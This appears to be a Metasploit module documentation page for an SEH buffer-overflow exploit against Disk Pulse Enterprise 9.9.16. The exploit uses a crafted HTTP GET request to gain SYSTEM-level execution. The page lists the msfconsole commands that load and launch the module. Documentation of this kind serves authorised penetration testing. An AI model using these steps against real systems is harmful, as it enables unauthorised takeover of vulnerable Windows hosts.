Description

This module exploits an SEH buffer overflow in Disk Pulse Enterprise 9.9.16. If a malicious user sends a crafted HTTP GET request it is possible to execute a payload that would run under the Windows NT AUTHORITY\SYSTEM account.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/http/disk_pulse_enterprise_get
msf exploit(disk_pulse_enterprise_get) > show targets
    ...targets...
msf exploit(disk_pulse_enterprise_get) > set TARGET < target-id >
msf exploit(disk_pulse_enterprise_get) > show options
    ...show and set options...
msf exploit(disk_pulse_enterprise_get) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
